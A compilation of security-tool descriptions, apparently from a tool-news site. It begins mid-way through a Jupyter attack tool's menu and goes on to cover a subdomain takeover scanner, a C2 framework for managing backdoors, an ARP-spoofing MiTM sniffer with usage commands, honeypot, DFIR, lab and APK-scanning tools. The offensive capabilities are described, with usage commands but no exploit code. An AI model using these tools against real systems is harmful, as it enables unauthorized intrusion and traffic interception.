These menus contain the following functionality: - List modules: Identify imported modules in target notebooks to determine what libraries are available for injected code. - Inject: Execute code in the context of the selected notebook. Code can be provided in a text editor or by specifying a local .py file. Either input is processed as a string and executed in runtime of the notebook. - Backdoor: Launch a new JupyterLab instance open to 0.0.0.0, with allow-root on a user-specified port with a user-specified password. - Check History: See ipython commands recently run in the target notebook. - Run shell command: Spawn a terminal, run the command, return the output, and delete the terminal. - List dir or get file: List directories relative to the Jupyter directory. If you don't know, start with /. - Upload file: Upload file from localhost to the target. Specify paths in the same format as List dir (relative to the Jupyter directory). Provide a full path including filename and extension. - Delete file: Delete a file. Specify paths in the same format as List dir (relative to the Jupyter directory). - Find models: Find models based on common file formats. - Download models: Download discovered models. - Snoop: Monitor notebook execution and results until timeout. - Recurring jobs: Launch/Kill recurring snippets of code silently run in the target environment.

Experimental

With pip install vger[ai] you'll get LLM generated summaries of notebooks in the target environment. These are meant to be rough translation for non-DS/AI folks to do quick triage of if (or which) notebooks are worth investigating further.

There was an inherent tradeoff on model size vs. ability and that's something I'll continue to tinker with, but hopefully this is helpful for some more traditional security users. I'd love to see folks start prompt injecting their notebooks ("these are not the droids you're looking for").

Examples

• Overwrite a Torch Dataset to change labels

Subhunter - A Fast Subdomain Takeover Tool

Subdomain takeover is a common vulnerability that allows an attacker to gain control over a subdomain of a target domain and redirect users intended for an organization's domain to a website that performs malicious activities, such as phishing campaigns, stealing user cookies, etc. It occurs when an attacker gains control over a subdomain of a target domain. Typically, this happens when the subdomain has a CNAME in the DNS, but no host is providing content for it. Subhunter takes a given list of Subdomains" title="Subdomains">subdomains and scans them to check this vulnerability.

Features:

• Auto update
• Uses random user agents
• Built in Go
• Uses a fork of fingerprint data from well known sources (can-i-take-over-xyz)

Installation:

Option 1:

Download from releases

Option 2:

Build from source:

$ git clone https://github.com/Nemesis0U/Subhunter.git
$ go build subhunter.go

Usage:

Options:

Usage of subhunter:
  -l string
        File including a list of hosts to scan
  -o string
        File to save results
  -t int
        Number of threads for scanning (default 50)
  -timeout int
        Timeout in seconds (default 20)

Demo (Added fake fingerprint for POC):

./Subhunter -l subdomains.txt -o test.txt

  ____            _       _                       _
 / ___|   _   _  | |__   | |__    _   _   _ __   | |_    ___   _ __
 \___ \  | | | | | '_ \  | '_ \  | | | | | '_ \  | __|  / _ \ | '__|
  ___) | | |_| | | |_) | | | | | | |_| | | | | | | |_  |  __/ | |
 |____/   \__,_| |_.__/  |_| |_|  \__,_| |_| |_|  \__|  \___| |_|


A fast subdomain takeover tool

Created by Nemesis

Loaded 88 fingerprints for current scan

-----------------------------------------------------------------------------

[+] Nothing found at www.ubereats.com: Not Vulnerable
[+] Nothing found at testauth.ubereats.com: Not Vulnerable
[+] Nothing found at apple-maps-app-clip.ubereats.com: Not Vulnerable
[+] Nothing found at about.ubereats.com: Not Vulnerable
[+] Nothing found at beta.ubereats.com: Not Vulnerable
[+] Nothing found at ewp.ubereats.com: Not Vulnerable
[+] Nothi   ng found at edgetest.ubereats.com: Not Vulnerable
[+] Nothing found at guest.ubereats.com: Not Vulnerable
[+] Google Cloud: Possible takeover found at testauth.ubereats.com: Vulnerable
[+] Nothing found at info.ubereats.com: Not Vulnerable
[+] Nothing found at learn.ubereats.com: Not Vulnerable
[+] Nothing found at merchants.ubereats.com: Not Vulnerable
[+] Nothing found at guest-beta.ubereats.com: Not Vulnerable
[+] Nothing found at merchant-help.ubereats.com: Not Vulnerable
[+] Nothing found at merchants-beta.ubereats.com: Not Vulnerable
[+] Nothing found at merchants-staging.ubereats.com: Not Vulnerable
[+] Nothing found at messages.ubereats.com: Not Vulnerable
[+] Nothing found at order.ubereats.com: Not Vulnerable
[+] Nothing found at restaurants.ubereats.com: Not Vulnerable
[+] Nothing found at payments.ubereats.com: Not Vulnerable
[+] Nothing found at static.ubereats.com: Not Vulnerable

Subhunter exiting...
   Results written to test.txt

MasterParser - Powerful DFIR Tool Designed For Analyzing And Parsing Linux Logs

What is MasterParser ?

MasterParser stands as a robust Digital Forensics and Incident Response tool meticulously crafted for the analysis of Linux logs within the var/log directory. Specifically designed to expedite the investigative process for security incidents on Linux systems, MasterParser adeptly scans supported logs, such as auth.log for example, extract critical details including SSH logins, user creations, event names, IP addresses and much more. The tool's generated summary presents this information in a clear and concise format, enhancing efficiency and accessibility for Incident Responders. Beyond its immediate utility for DFIR teams, MasterParser proves invaluable to the broader InfoSec and IT community, contributing significantly to the swift and comprehensive assessment of security events on Linux platforms.

MasterParser Wallpapers

Love MasterParser as much as we do? Dive into the fun and jazz up your screen with our exclusive MasterParser wallpaper! Click the link below and get ready to add a splash of excitement to your device! Download Wallpaper

Supported Logs Format

This is the list of supported log formats within the var/log directory that MasterParser can analyze. In future updates, MasterParser will support additional log formats for analysis. |Supported Log Formats List| | --- | | auth.log |

Feature & Log Format Requests:

If you wish to propose the addition of a new feature \ log format, kindly submit your request by creating an issue Click here to create a request

How To Use ?

How To Use - Text Guide

1. From this GitHub repository press on "<> Code" and then press on "Download ZIP".
2. From "MasterParser-main.zip" export the folder "MasterParser-main" to you Desktop.
3. Open a PowerSehll terminal and navigate to the "MasterParser-main" folder.

# How to navigate to "MasterParser-main" folder from the PS terminal
PS C:\> cd "C:\Users\user\Desktop\MasterParser-main\"

1. Now you can execute the tool, for example see the tool command menu, do this:

# How to show MasterParser menu
PS C:\Users\user\Desktop\MasterParser-main> .\MasterParser.ps1 -O Menu

1. To run the tool, put all your /var/log/* logs in to the 01-Logs folder, and execute the tool like this:

# How to run MasterParser
PS C:\Users\user\Desktop\MasterParser-main> .\MasterParser.ps1 -O Start

1. That's it, enjoy the tool!

How To Use - Video Guide

https://github.com/YosfanEilay/MasterParser/assets/132997318/d26b4b3f-7816-42c3-be7f-7ee3946a2c70

MasterParser Social Media Publications

C2-Cloud - The C2 Cloud Is A Robust Web-Based C2 Framework, Designed To Simplify The Life Of Penetration Testers

The C2 Cloud is a robust web-based C2 framework, designed to simplify the life of penetration testers. It allows easy access to compromised backdoors, just like accessing an EC2 instance in the AWS cloud. It can manage several simultaneous backdoor sessions with a user-friendly interface.

C2 Cloud is open source. Security analysts can confidently perform simulations, gaining valuable experience and contributing to the proactive defense posture of their organizations.

Reverse shells support:

1. Reverse TCP
2. Reverse HTTP
3. Reverse HTTPS (configure it behind an LB)
4. Telegram C2

Demo

C2 Cloud walkthrough: https://youtu.be/hrHT_RDcGj8
Ransomware simulation using C2 Cloud: https://youtu.be/LKaCDmLAyvM
Telegram C2: https://youtu.be/WLQtF4hbCKk

Key Features

🔒 Anywhere Access: Reach the C2 Cloud from any location.
🔄 Multiple Backdoor Sessions: Manage and support multiple sessions effortlessly.
🖱️ One-Click Backdoor Access: Seamlessly navigate to backdoors with a simple click.
📜 Session History Maintenance: Track and retain complete command and response history for comprehensive analysis.

Tech Stack

🛠️ Flask: Serving web and API traffic, facilitating reverse HTTP(s) requests.
🔗 TCP Socket: Serving reverse TCP requests for enhanced functionality.
🌐 Nginx: Effortlessly routing traffic between web and backend systems.
📨 Redis PubSub: Serving as a robust message broker for seamless communication.
🚀 Websockets: Delivering real-time updates to browser clients for enhanced user experience.
💾 Postgres DB: Ensuring persistent storage for seamless continuity.

Architecture

Application setup

• Management port: 9000
  
• Reversse HTTP port: 8000
  

• Reverse TCP port: 8888
  

• Clone the repo

• Optional: Update chait_id, bot_token in c2-telegram/config.yml
• Execute docker-compose up -d to start the containers Note: The c2-api service will not start up until the database is initialized. If you receive 500 errors, please try after some time.

Credits

Inspired by Villain, a CLI-based C2 developed by Panagiotis Chartas.

License

Distributed under the MIT License. See LICENSE for more information.

Contact

• LinkedIn
• Twitter

Galah - An LLM-powered Web Honeypot Using The OpenAI API

TL;DR: Galah (/ɡəˈlɑː/ - pronounced 'guh-laa') is an LLM (Large Language Model) powered web honeypot, currently compatible with the OpenAI API, that is able to mimic various applications and dynamically respond to arbitrary HTTP requests.

Description

Named after the clever Australian parrot known for its mimicry, Galah mirrors this trait in its functionality. Unlike traditional web honeypots that rely on a manual and limiting method of emulating numerous web applications or vulnerabilities, Galah adopts a novel approach. This LLM-powered honeypot mimics various web applications by dynamically crafting relevant (and occasionally foolish) responses, including HTTP headers and body content, to arbitrary HTTP requests. Fun fact: in Aussie English, Galah also means fool!

I've deployed a cache for the LLM-generated responses (the cache duration can be customized in the config file) to avoid generating multiple responses for the same request and to reduce the cost of the OpenAI API. The cache stores responses per port, meaning if you probe a specific port of the honeypot, the generated response won't be returned for the same request on a different port.

The prompt is the most crucial part of this honeypot! You can update the prompt in the config file, but be sure not to change the part that instructs the LLM to generate the response in the specified JSON format.

Note: Galah was a fun weekend project I created to evaluate the capabilities of LLMs in generating HTTP messages, and it is not intended for production use. The honeypot may be fingerprinted based on its response time, non-standard, or sometimes weird responses, and other network-based techniques. Use this tool at your own risk, and be sure to set usage limits for your OpenAI API.

Future Enhancements

• Rule-Based Response: The new version of Galah will employ a dynamic, rule-based approach, adding more control over response generation. This will further reduce OpenAI API costs and increase the accuracy of the generated responses.

• Response Database: It will enable you to generate and import a response database. This ensures the honeypot only turns to the OpenAI API for unknown or new requests. I'm also working on cleaning up and sharing my own database.

• Support for Other LLMs.

Getting Started

• Ensure you have Go version 1.20+ installed.
• Create an OpenAI API key from here.
• If you want to serve over HTTPS, generate TLS certificates.
• Clone the repo and install the dependencies.
• Update the config.yaml file.
• Build and run the Go binary!

% git clone git@github.com:0x4D31/galah.git
% cd galah
% go mod download
% go build  
% ./galah -i en0 -v

 ██████   █████  ██       █████  ██   ██ 
██       ██   ██ ██      ██   ██ ██   ██ 
██   ███ ███████ ██      ███████ ███████ 
██    ██ ██   ██ ██      ██   ██ ██   ██ 
 ██████  ██   ██ ███████ ██   ██ ██   ██ 
  llm-based web honeypot // version 1.0
       author: Adel "0x4D31" Karimi

2024/01/01 04:29:10 Starting HTTP server on port 8080
2024/01/01 04:29:10 Starting HTTP server on port 8888
2024/01/01 04:29:10 Starting HTTPS server on port 8443 with TLS profile: profile1_selfsigned
2024/01/01 04:29:10 Starting HTTPS server on port 443 with TLS profile: profile1_selfsigned

2024/01/01 04:35:57 Received a request for "/.git/config" from [::1]:65434
2024/01/01 04:35:57 Request cache miss for "/.git/config": Not found in cache
2024/01/01 04:35:59 Generated HTTP response: {"Headers": {"Content-Type": "text/plain", "Server": "Apache/2.4.41 (Ubuntu)", "Status": "403 Forbidden"}, "Body": "Forbidden\nYou don't have permission to access this resource."}
2024/01/01 04:35:59 Sending the crafted response to [::1]:65434

^C2024/01/01 04:39:27 Received shutdown signal. Shutting down servers...
2024/01/01 04:39:27 All servers shut down gracefully.

Example Responses

Here are some example responses:

Example 1

% curl http://localhost:8080/login.php
<!DOCTYPE html><html><head><title>Login Page</title></head><body><form action='/submit.php' method='post'><label for='uname'><b>Username:</b></label><br><input type='text' placeholder='Enter Username' name='uname' required><br><label for='psw'><b>Password:</b></label><br><input type='password' placeholder='Enter Password' name='psw' required><br><button type='submit'>Login</button></form></body></html>

JSON log record:

{"timestamp":"2024-01-01T05:38:08.854878","srcIP":"::1","srcHost":"localhost","tags":null,"srcPort":"51978","sensorName":"home-sensor","port":"8080","httpRequest":{"method":"GET","protocolVersion":"HTTP/1.1","request":"/login.php","userAgent":"curl/7.71.1","headers":"User-Agent: [curl/7.71.1], Accept: [*/*]","headersSorted":"Accept,User-Agent","headersSortedSha256":"cf69e186169279bd51769f29d122b07f1f9b7e51bf119c340b66fbd2a1128bc9","body":"","bodySha256":"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855"},"httpResponse":{"headers":{"Content-Type":"text/html","Server":"Apache/2.4.38"},"body":"\u003c!DOCTYPE html\u003e\u003chtml\u003e\u003chead\u003e\u003ctitle\u003eLogin Page\u003c/title\u003e\u003c/head\u003e\u003cbody\u003e\u003cform action='/submit.php' method='post'\u003e\u003clabel for='uname'\u003e\u003cb\u003eUsername:\u003c/b\u003e\u003c/label\u003e\u003cbr\u003e\u003cinput type='text' placeholder='Enter Username' name='uname' required\u003e\u003cbr\u003e\u003clabel for='psw'\u003e\u003cb\u003ePassword:\u003c/b\u003e\u003c/label\u003e\u003cbr\u003e\u003cinput type='password' placeholder='Enter Password' name='psw' required\u003e\u003cbr\u003e\u003cbutton type='submit'\u003eLogin\u003c/button\u003e\u003c/form\u003e\u003c/body\u003e\u003c/html\u003e"}}

Example 2

% curl http://localhost:8080/.aws/credentials
[default]
aws_access_key_id = AKIAIOSFODNN7EXAMPLE
aws_secret_access_key = wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
region = us-west-2

JSON log record:

{"timestamp":"2024-01-01T05:40:34.167361","srcIP":"::1","srcHost":"localhost","tags":null,"srcPort":"65311","sensorName":"home-sensor","port":"8080","httpRequest":{"method":"GET","protocolVersion":"HTTP/1.1","request":"/.aws/credentials","userAgent":"curl/7.71.1","headers":"User-Agent: [curl/7.71.1], Accept: [*/*]","headersSorted":"Accept,User-Agent","headersSortedSha256":"cf69e186169279bd51769f29d122b07f1f9b7e51bf119c340b66fbd2a1128bc9","body":"","bodySha256":"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855"},"httpResponse":{"headers":{"Connection":"close","Content-Encoding":"gzip","Content-Length":"126","Content-Type":"text/plain","Server":"Apache/2.4.51 (Unix)"},"body":"[default]\naws_access_key_id = AKIAIOSFODNN7EXAMPLE\naws_secret_access_key = wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\nregion = us-west-2"}}

Okay, that was impressive!

Example 3

Now, let's do some sort of adversarial testing!

% curl http://localhost:8888/are-you-a-honeypot
No, I am a server.`

JSON log record:

{"timestamp":"2024-01-01T05:50:43.792479","srcIP":"::1","srcHost":"localhost","tags":null,"srcPort":"61982","sensorName":"home-sensor","port":"8888","httpRequest":{"method":"GET","protocolVersion":"HTTP/1.1","request":"/are-you-a-honeypot","userAgent":"curl/7.71.1","headers":"User-Agent: [curl/7.71.1], Accept: [*/*]","headersSorted":"Accept,User-Agent","headersSortedSha256":"cf69e186169279bd51769f29d122b07f1f9b7e51bf119c340b66fbd2a1128bc9","body":"","bodySha256":"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855"},"httpResponse":{"headers":{"Connection":"close","Content-Length":"20","Content-Type":"text/plain","Server":"Apache/2.4.41 (Ubuntu)"},"body":"No, I am a server."}}

😑

% curl http://localhost:8888/i-mean-are-you-a-fake-server`
No, I am not a fake server.

JSON log record:

{"timestamp":"2024-01-01T05:51:40.812831","srcIP":"::1","srcHost":"localhost","tags":null,"srcPort":"62205","sensorName":"home-sensor","port":"8888","httpRequest":{"method":"GET","protocolVersion":"HTTP/1.1","request":"/i-mean-are-you-a-fake-server","userAgent":"curl/7.71.1","headers":"User-Agent: [curl/7.71.1], Accept: [*/*]","headersSorted":"Accept,User-Agent","headersSortedSha256":"cf69e186169279bd51769f29d122b07f1f9b7e51bf119c340b66fbd2a1128bc9","body":"","bodySha256":"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855"},"httpResponse":{"headers":{"Connection":"close","Content-Type":"text/plain","Server":"LocalHost/1.0"},"body":"No, I am not a fake server."}}

You're a galah, mate!

CSAF - Cyber Security Awareness Framework

The Cyber Security Awareness Framework (CSAF) is a structured approach aimed at enhancing Cybersecurity" title="Cybersecurity">cybersecurity awareness and understanding among individuals, organizations, and communities. It provides guidance for the development of effective Cybersecurity" title="Cybersecurity">cybersecurity awareness programs, covering key areas such as assessing awareness needs, creating educational m aterials, conducting training and simulations, implementing communication campaigns, and measuring awareness levels. By adopting this framework, organizations can foster a robust security culture, enhance their ability to detect and respond to cyber threats, and mitigate the risks associated with attacks and security breaches.

Requirements

Software

• Docker
• Docker-compose

Hardware

Minimum

• 4 Core CPU
• 10GB RAM
• 60GB Disk free

Recommendation

• 8 Core CPU or above
• 16GB RAM or above
• 100GB Disk free or above

Installation

Clone the repository

git clone https://github.com/csalab-id/csaf.git

Navigate to the project directory

cd csaf

Pull the Docker images

docker-compose --profile=all pull

Generate wazuh ssl certificate

docker-compose -f generate-indexer-certs.yml run --rm generator

For security reason you should set env like this first

export ATTACK_PASS=ChangeMePlease
export DEFENSE_PASS=ChangeMePlease
export MONITOR_PASS=ChangeMePlease
export SPLUNK_PASS=ChangeMePlease
export GOPHISH_PASS=ChangeMePlease
export MAIL_PASS=ChangeMePlease
export PURPLEOPS_PASS=ChangeMePlease

Start all the containers

docker-compose --profile=all up -d

You can run specific profiles for running specific labs with the following profiles - all - attackdefenselab - phisinglab - breachlab - soclab

For example

docker-compose --profile=attackdefenselab up -d

Proof

Exposed Ports

An exposed port can be accessed using a proxy socks5 client, SSH client, or HTTP client. Choose one for the best experience.

• Port 6080 (Access to attack network)
• Port 7080 (Access to defense network)
• Port 8080 (Access to monitor network)

Example usage

Access internal network with proxy socks5

• curl --proxy socks5://ipaddress:6080 http://10.0.0.100/vnc.html
• curl --proxy socks5://ipaddress:7080 http://10.0.1.101/vnc.html
• curl --proxy socks5://ipaddress:8080 http://10.0.3.102/vnc.html

Remote ssh with ssh client

• ssh kali@ipaddress -p 6080 (default password: attackpassword)
• ssh kali@ipaddress -p 7080 (default password: defensepassword)
• ssh kali@ipaddress -p 8080 (default password: monitorpassword)

Access kali linux desktop with curl / browser

• curl http://ipaddress:6080/vnc.html
• curl http://ipaddress:7080/vnc.html
• curl http://ipaddress:8080/vnc.html

Domain Access

• http://attack.lab/vnc.html (default password: attackpassword)
• http://defense.lab/vnc.html (default password: defensepassword)
• http://monitor.lab/vnc.html (default password: monitorpassword)
• https://gophish.lab:3333/ (default username: admin, default password: gophishpassword)
• https://server.lab/ (default username: postmaster@server.lab, default passowrd: mailpassword)
• https://server.lab/iredadmin/ (default username: postmaster@server.lab, default passowrd: mailpassword)
• https://mail.server.lab/ (default username: postmaster@server.lab, default passowrd: mailpassword)
• https://mail.server.lab/iredadmin/ (default username: postmaster@server.lab, default passowrd: mailpassword)
• http://phising.lab/
• http://10.0.0.200:8081/
• http://gitea.lab/ (default username: csalab, default password: giteapassword)
• http://dvwa.lab/ (default username: admin, default passowrd: password)
• http://dvwa-monitor.lab/ (default username: admin, default passowrd: password)
• http://dvwa-modsecurity.lab/ (default username: admin, default passowrd: password)
• http://wackopicko.lab/
• http://juiceshop.lab/
• https://wazuh-indexer.lab:9200/ (default username: admin, default passowrd: SecretPassword)
• https://wazuh-manager.lab/
• https://wazuh-dashboard.lab:5601/ (default username: admin, default passowrd: SecretPassword)
• http://splunk.lab/ (default username: admin, default password: splunkpassword)
• https://infectionmonkey.lab:5000/
• http://purpleops.lab/ (default username: admin@purpleops.com, default password: purpleopspassword)
• http://caldera.lab/ (default username: red/blue, default password: calderapassword)

Network / IP Address

Attack

• 10.0.0.100 attack.lab
• 10.0.0.200 phising.lab
• 10.0.0.201 server.lab
• 10.0.0.201 mail.server.lab
• 10.0.0.202 gophish.lab
• 10.0.0.110 infectionmonkey.lab
• 10.0.0.111 mongodb.lab
• 10.0.0.112 purpleops.lab
• 10.0.0.113 caldera.lab

Defense

• 10.0.1.101 defense.lab
• 10.0.1.10 dvwa.lab
• 10.0.1.13 wackopicko.lab
• 10.0.1.14 juiceshop.lab
• 10.0.1.20 gitea.lab
• 10.0.1.110 infectionmonkey.lab
• 10.0.1.112 purpleops.lab
• 10.0.1.113 caldera.lab

Monitor

• 10.0.3.201 server.lab
• 10.0.3.201 mail.server.lab
• 10.0.3.9 mariadb.lab
• 10.0.3.10 dvwa.lab
• 10.0.3.11 dvwa-monitor.lab
• 10.0.3.12 dvwa-modsecurity.lab
• 10.0.3.102 monitor.lab
• 10.0.3.30 wazuh-manager.lab
• 10.0.3.31 wazuh-indexer.lab
• 10.0.3.32 wazuh-dashboard.lab
• 10.0.3.40 splunk.lab

Public

• 10.0.2.101 defense.lab
• 10.0.2.13 wackopicko.lab

Internet

• 10.0.4.102 monitor.lab
• 10.0.4.30 wazuh-manager.lab
• 10.0.4.32 wazuh-dashboard.lab
• 10.0.4.40 splunk.lab

Internal

• 10.0.5.100 attack.lab
• 10.0.5.12 dvwa-modsecurity.lab
• 10.0.5.13 wackopicko.lab

License

This Docker Compose application is released under the MIT License. See the LICENSE file for details.

Espionage - A Linux Packet Sniffing Suite For Automated MiTM Attacks

Espionage is a network packet sniffer that intercepts large amounts of data being passed through an interface. The tool allows users to to run normal and verbose traffic analysis that shows a live feed of traffic, revealing packet direction, protocols, flags, etc. Espionage can also spoof ARP so, all data sent by the target gets redirected through the attacker (MiTM). Espionage supports IPv4, TCP/UDP, ICMP, and HTTP. Espionag e was written in Python 3.8 but it also supports version 3.6. This is the first version of the tool so please contact the developer if you want to help contribute and add more to Espionage. Note: This is not a Scapy wrapper, scapylib only assists with HTTP requests and ARP.

Installation

1: git clone https://www.github.com/josh0xA/Espionage.git
2: cd Espionage
3: sudo python3 -m pip install -r requirments.txt
4: sudo python3 espionage.py --help

Usage

1. sudo python3 espionage.py --normal --iface wlan0 -f capture_output.pcap
   Command 1 will execute a clean packet sniff and save the output to the pcap file provided. Replace wlan0 with whatever your network interface is.
   
2. sudo python3 espionage.py --verbose --iface wlan0 -f capture_output.pcap
   Command 2 will execute a more detailed (verbose) packet sniff and save the output to the pcap file provided.
   
3. sudo python3 espionage.py --normal --iface wlan0
   Command 3 will still execute a clean packet sniff however, it will not save the data to a pcap file. Saving the sniff is recommended.
   
4. sudo python3 espionage.py --verbose --httpraw --iface wlan0
   Command 4 will execute a verbose packet sniff and will also show raw http/tcp packet data in bytes.
   
5. sudo python3 espionage.py --target <target-ip-address> --iface wlan0
   Command 5 will ARP spoof the target ip address and all data being sent will be routed back to the attackers machine (you/localhost).
   
6. sudo python3 espionage.py --iface wlan0 --onlyhttp
   Command 6 will only display sniffed packets on port 80 utilizing the HTTP protocol.
   
7. sudo python3 espionage.py --iface wlan0 --onlyhttpsecure
   Command 7 will only display sniffed packets on port 443 utilizing the HTTPS (secured) protocol.
   
8. sudo python3 espionage.py --iface wlan0 --urlonly
   Command 8 will only sniff and return sniffed urls visited by the victum. (works best with sslstrip).
   
   
9. Press Ctrl+C in-order to stop the packet interception and write the output to file.
   

Menu

usage: espionage.py [-h] [--version] [-n] [-v] [-url] [-o] [-ohs] [-hr] [-f FILENAME] -i IFACE
                    [-t TARGET]

optional arguments:
  -h, --help            show this help message and exit
  --version             returns the packet sniffers version.
  -n, --normal          executes a cleaner interception, less sophisticated.
  -v, --verbose         (recommended) executes a more in-depth packet interception/sniff.
  -url, --urlonly       only sniffs visited urls using http/https.
  -o, --onlyhttp        sniffs only tcp/http data, returns urls visited.
  -ohs, --onlyhttpsecure
                        sniffs only https data, (port 443).
  -hr, --httpraw        displays raw packet data (byte order) recieved or sent on port 80.

(Recommended) arguments for data output (.pcap):
  -f FILENAME, --filename FILENAME
                        name of file to store the output (make extension '.pcap').

(Required) arguments required for execution:
  -i IFACE, --iface IFACE
                        specify network interface (ie. wlan0, eth0, wlan1, etc.)

(ARP Spoofing) required arguments in-order to use the ARP Spoofing utility:
  -t TARGET, --target TARGET

Writeup

A simple medium writeup can be found here:
Click Here For The Official Medium Article

Ethical Notice

The developer of this program, Josh Schiavone, written the following code for educational and ethical purposes only. The data sniffed/intercepted is not to be used for malicous intent. Josh Schiavone is not responsible or liable for misuse of this penetration testing tool. May God bless you all.

License

MIT License
Copyright (c) 2024 Josh Schiavone

C2-Tracker - Live Feed Of C2 Servers, Tools, And Botnets

Free to use IOC feed for various tools/malware. It started out for just C2 tools but has morphed into tracking infostealers and botnets as well. It uses shodan.io/">Shodan searches to collect the IPs. The most recent collection is always stored in data; the IPs are broken down by tool and there is an all.txt.

The feed should update daily. Actively working on making the backend more reliable

Honorable Mentions

Many of the Shodan queries have been sourced from other CTI researchers:

• BushidoToken
• Michael Koczwara
• ViriBack
• Gi7W0rm
• @Glacius_

Huge shoutout to them!

Thanks to BertJanCyber for creating the KQL query for ingesting this feed

And finally, thanks to Y_nexro for creating C2Live in order to visualize the data

What do I track?

• C2's
  • Cobalt Strike
  • Metasploit Framework
  • Covenant
  • Mythic
  • Brute Ratel C4
  • Posh
  • Sliver
  • Deimos
  • PANDA
  • NimPlant C2
  • Havoc C2
  • Caldera
  • Empire
  • Ares
• Malware
  • AcidRain Stealer
  • Misha Stealer (AKA Grand Misha)
  • Patriot Stealer
  • RAXNET Bitcoin Stealer
  • Titan Stealer
  • Collector Stealer
  • Mystic Stealer
  • Gotham Stealer
  • Meduza Stealer
  • Quasar RAT
  • ShadowPad
  • AsyncRAT
  • DcRat
  • BitRAT
  • DarkComet Trojan
  • XtremeRAT Trojan
  • NanoCore RAT Trojan
  • Gh0st RAT Trojan
  • DarkTrack RAT Trojan
  • njRAT Trojan
  • Remcos Pro RAT Trojan
  • Poison Ivy Trojan
  • Orcus RAT Trojan
  • ZeroAccess Trojan
  • HOOKBOT Trojan
• Tools
  • XMRig Monero Cryptominer
  • GoPhish
• Botnets
  • 7777 Botnet

Running Locally

If you want to host a private version, put your Shodan API key in an environment variable called SHODAN_API_KEY

echo SHODAN_API_KEY=API_KEY >> ~/.bashrc
bash
python3 -m pip install -r requirements.txt
python3 tracker.py

Contributing

I encourage opening an issue/PR if you know of any additional Shodan searches for identifying adversary infrastructure. I will not set any hard guidelines around what can be submitted, just know, fidelity is paramount (high true/false positive ratio is the focus).

References

• Hunting C2 with Shodan by Michael Koczwara
• Hunting Cobalt Strike C2 with Shodan by Michael Koczwara
• https://twitter.com/MichalKoczwara/status/1591750513238118401?cxt=HHwWgsDUiZGqhJcsAAAA
• BushidoToken's OSINT-SearchOperators
• https://twitter.com/MichalKoczwara/status/1641119242618650653
• https://twitter.com/MichalKoczwara/status/1641676761283850241
• https://twitter.com/_montysecurity/status/1643164749599834112
• https://twitter.com/ViriBack/status/1713714868564394336
• https://gi7w0rm.medium.com/the-curious-case-of-the-7777-botnet-86e3464c3ffd
• https://twitter.com/Glacius_/status/1731699013873799209

APKDeepLens - Android Security Insights In Full Spectrum

APKDeepLens is a Python based tool designed to scan Android applications (APK files) for security vulnerabilities. It specifically targets the OWASP Top 10 mobile vulnerabilities, providing an easy and efficient way for developers, penetration testers, and security researchers to assess the security posture of Android apps.

Features

APKDeepLens is a Python-based tool that performs various operations on APK files. Its main features include:

• APK Analysis -> Scans Android application package (APK) files for security vulnerabilities.
• OWASP Coverage -> Covers OWASP Top 10 vulnerabilities to ensure a comprehensive security assessment.
• Advanced Detection -> Utilizes custom python code for APK file analysis and vulnerability detection.
• Sensitive Information Extraction -> Identifies potential security risks by extracting sensitive information from APK files, such as insecure authentication/authorization keys and insecure request protocols.
• In-depth Analysis -> Detects insecure data storage practices, including data related to the SD card, and highlights the use of insecure request protocols in the code.
• Intent Filter Exploits -> Pinpoint vulnerabilities by analyzing intent filters extracted from AndroidManifest.xml.
• Local File Vulnerability Detection -> Safeguard your app by identifying potential mishandlings related to local file operations
• Report Generation -> Generates detailed and easy-to-understand reports for each scanned APK, providing actionable insights for developers.
• CI/CD Integration -> Designed for easy integration into CI/CD pipelines, enabling automated security testing in development workflows.
• User-Friendly Interface -> Color-coded terminal outputs make it easy to distinguish between different types of findings.

Installation

To use APKDeepLens, you'll need to have Python 3.8 or higher installed on your system. You can then install APKDeepLens using the following command:

For Linux

git clone https://github.com/d78ui98/APKDeepLens/tree/main
cd /APKDeepLens
python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt
python APKDeepLens.py --help

For Windows

git clone https://github.com/d78ui98/APKDeepLens/tree/main
cd \APKDeepLens
python3 -m venv venv
.\venv\Scripts\activate
pip install -r .\requirements.txt
python APKDeepLens.py --help

Usage

To simply scan an APK, use the below command. Mention the apk file with -apk argument. Once the scan is complete, a detailed report will be displayed in the console.

python3 APKDeepLens.py -apk file.apk

If you've already extracted the source code and want to provide its path for a faster scan you can use the below command. Mention the source code of the android application with -source parameter.

python3 APKDeepLens.py -apk file.apk -source <source-code-path>

To generate detailed PDF and HTML reports after the scan you can pass -report argument as mentioned below.

python3 APKDeepLens.py -apk file.apk -report

Contributing

We welcome contributions to the APKDeepLens project. If you have a feature request, bug report, or proposal, please open a new issue here.

For those interested in contributing code, please follow the standard GitHub process. We'll review your contributions as quickly as possible :)

Featured at

• Blackhat MEA 2023 - https://blackhatmea.com/session/apkaleidoscope-android-security-insights-full-spectrum-0
• Blackhat ASIA 2024 - https://www.blackhat.com/asia-24/arsenal/schedule/index.html#apkdeeplens---android-security-insights-in-full-spectrum-37182

R2Frida - Radare2 And Frida Better Together

This is a self-contained plugin for radare2 that allows to instrument remote processes using frida.

The radare project brings a complete toolchain for reverse engineering, providing well maintained functionalities and extend its features with other programming languages and tools.

Frida is a dynamic instrumentation toolkit that makes it easy to inspect and manipulate running processes by injecting your own JavaScript, and optionally also communicate with your scripts.

Features

• Run unmodified Frida scripts (Use the :. command)
• Execute snippets in C, Javascript or TypeScript in any process
• Can attach, spawn or launch in local or remote systems
• List sections, symbols, exports, protocols, classes, methods
• Search for values in memory inside the agent or from the host
• Replace method implementations or create hooks with short commands
• Load libraries and frameworks in the target process
• Support Dalvik, Java, ObjC, Swift and C interfaces
• Manipulate file descriptors and environment variables
• Send signals to the process, continue, breakpoints
• The r2frida io plugin is also a filesystem fs and debug backend
• Automate r2 and frida using r2pipe
• Read/Write process memory
• Call functions, syscalls and raw code snippets
• Connect to frida-server via usb or tcp/ip
• Enumerate apps and processes
• Trace registers, arguments of functions
• Tested on x64, arm32 and arm64 for Linux, Windows, macOS, iOS and Android
• Doesn't require frida to be installed in the host (no need for frida-tools)
• Extend the r2frida commands with plugins that run in the agent
• Change page permissions, patch code and data
• Resolve symbols by name or address and import them as flags into r2
• Run r2 commands in the host from the agent
